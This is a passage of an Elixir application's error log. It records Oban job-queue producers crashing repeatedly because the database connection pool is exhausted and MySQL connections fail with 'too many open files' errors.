    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-06 00:17:54.243216Z], limit: 3, uuid: "7a689b8b-5737-42e8-8e66-1000b094faf0", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:17:54.243221Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.175247>, refresh_timer: #Reference<0.2525715032.1099431938.54815>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:18:06.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 817ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-06 00:17:54.241009Z], limit: 10, uuid: "45728a02-af74-45a6-a750-62b4b511eb38", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:17:54.241013Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.175245>, refresh_timer: #Reference<0.2525715032.1121189889.175197>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:18:08.142000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:18:10.216000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:18:12.570000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:18:15.305000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:18:15.850000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:18:18.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1035ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-06 00:18:06.239805Z], limit: 5, uuid: "9931e30a-e8fd-49b1-9791-f35786e5092e", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:18:06.239810Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.175669>, refresh_timer: #Reference<0.2525715032.1068498948.53278>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:18:18.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1080ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-06 00:18:06.240145Z], limit: 10, uuid: "d2ccde56-94a0-4d4f-963d-16578c908160", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:18:06.240150Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.175665>, refresh_timer: #Reference<0.2525715032.1121189889.175647>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:18:18.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 860ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-06 00:18:06.239728Z], limit: 3, uuid: "598aa899-8e68-4333-8a71-50565f40cea0", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:18:06.239743Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.175670>, refresh_timer: #Reference<0.2525715032.1068498948.53275>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:18:18.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 890ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-06 00:18:06.239672Z], limit: 50, uuid: "46906d5b-a700-4ebc-a6cf-b838286aa0e8", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:18:06.239678Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.175667>, refresh_timer: #Reference<0.2525715032.1121189889.175627>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:18:18.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1000ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-06 00:18:06.239678Z], limit: 20, uuid: "cfea8028-c8fc-416a-b6be-66f5592ddee9", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:18:06.239684Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.175668>, refresh_timer: #Reference<0.2525715032.1068498948.53272>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:18:18.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1057ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-06 00:18:06.239937Z], limit: 5, uuid: "d29eff2f-c88a-444b-ba2f-746120a25a52", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:18:06.239942Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.175666>, refresh_timer: #Reference<0.2525715032.1121189889.175646>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:18:18.401000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:18:21.824000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:18:21.990000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:18:25.671000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:18:25.794000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:18:26.783000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:18:29.001000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:18:29.271000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:18:30.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1086ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
